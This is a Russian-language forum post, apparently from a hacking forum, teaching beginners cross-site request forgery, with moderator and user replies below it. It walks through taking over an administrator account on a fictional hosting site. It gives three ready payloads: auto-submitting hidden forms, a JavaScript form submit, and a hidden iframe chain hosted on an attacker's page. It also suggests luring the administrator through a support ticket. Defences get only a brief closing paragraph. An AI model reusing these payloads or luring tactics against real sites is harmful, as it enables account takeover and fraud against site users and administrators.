CSRF атаки или подделка межсайтовых запросов Intro CSRF (полное название Сross Site Request Forgery) - вид атак на посетителей веб-сайтов, использующий недостатки HTTP протокола. Схема этой уязвимости довольно-таки проста: Жертва заходит на сайт, созданный хакером, и от ее лица тайно отправляется запрос на веб-сайт, использующий недостатки HTTP протокола. Атаки можно совершить практически везде (конечно, если веб-сайт уязвим): Сайт платёжной системы (перевод средств на счет хакера), хостинг (смена пароля от панели), социальная сеть (смена пароля от панели / смена контрольного вопроса), но есть одно но - для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом. Статья предназначена для начинающих пользователей.. Атакуем сайт Для примера давайте возьмем несуществующий хостинг - hosting.qqq, наша задача сменить пароль аккаунта Administrator, нам известен только список параметров и логин жертвы. Итак, приступим! Вот список значений и параметров уязвимого сайта: Code: reason=password_change password=newpassword // Новый пароль password2=newpassword // Подтверждаем новый пароль Задача злоумышленника - создать страницу и тайно отправить запрос от лица жертвы на уязвимый сайт. Нашу страницу назовем newpassword.html, теперь нужно сконструировать код, который тайно пошлет запрос от лица жертвы на уязвимый сайт. Я предоставлю Вам несколько вариантов. Вариант №1 PHP: <body onload="p.submit()"> <form action="http://hosting.qqq/newpassword.php" method="post" id="p"> <input type=hidden name="reason" value='password_change'> <input type=hidden name="password" value='newpassword'> <input type=hidden name="password2" value='newpassword'> Вариант №2 PHP: <form method="post" action="http://hosting.qqq/newpassword.php"> <input type="hidden" name="reason" value="password_change"> <input type="hidden" name="password" value="newpassword"> <input type="hidden" name="password2" value="newpassword"> </form> <script type="text/javascript"> document.getElementsByTagName('form')[0].submit(); </script> Но в этих двух случаях, нашу жертву перекинет на хостинг hosting.qqq, а это не есть "тайно". Но выход есть, создаем вторую страницу new.html, и записываем туда следующий код: PHP: <iframe src='http://сайт_злоумышленника.ру/newpassword.html' width='0' height='0' style='display:none'></iframe> Как Вы увидели, на странице new.html будет находится скрытый iFrame, который будет ссылаться на страницу newpassword.html, а уже newpassword.html и будет посылать запрос на уязвимый сайт. Да-да, вот такая цепочка. Конечно же, можно сделать все намного проще, например как здесь (скрытый iframe + отправка запроса на уязвимый сайт): PHP: <script> function csrf() { var html; html = '<img src=http://http://hosting.qqq/newpassword.php?reason=password_change&password=newpassword&password2=newpassword>'; window.frames["frame"].document.body.innerHTML = html; } </script> <iframe name="frame" onload="csrf()" width="0" height="0"></iframe> Но в третьем варианте мы пошлем GET запрос на уязвимый сайт, а для смены пароля в нашем случае необходимо отправить данные методом POST, так что будем использовать первые два любых варианта. Теперь осталось написать в Тех. поддержку хостинга (есть вероятность, что наше сообщение прочтет администратор хостинга) и заманить его на сайт злоумышленника (http://сайт_злоумышленника.ру/new.html), но как заманить - думайте уже сами Защита от CSRF Наиболее простой способ защиты: сервер жертвы должен просить подтверждения действий пользователя и проверять поле HTTP_REFERER, если оно указано в запросе. Или-же использовать дополнительный секретный ключ, предназначенный для выполнения POST-запросов. Спасибо за внимание!
Предупреждаю, не нарушайте правила раздела. Те кто нарушил, потрите свои посты. В случае игнорирования предупреждения - бан сроком до недели. На этот пост отвечать не надо.
Было бы неплохо дополнить парой ссылок по теме, для желающих более углубленно ознакомиться с данным типом уязвимости. Возьму на себя смелость предложить вот эту статью, в качестве расширения изложенного материала для тех, кто захочет узнать что-то более детально. Почитать на досуге. Тыц.
Перед тем, как писать статью, надо ответить на следующие вопросы: 1) для чего вообще я это делаю; 2) для кого она предназначена; 3) чем она будет отличаться от тысячи подобных статей. Вот п.3 и должен превносить что-то новое, отличное от других. Какое-то маленькое исследование, например, что-то новое.
ТС опубликовал без предварительного согласования, обещая ее потом дополнить. Я бы не пропустил ее, т.к. в ней нет ничего нового.
Епта найдите статью где то на ачате я когда то видел - точно ! там в развернутов виде все было - или то был чей-то конкрус не помню - но вроде была статья - или видео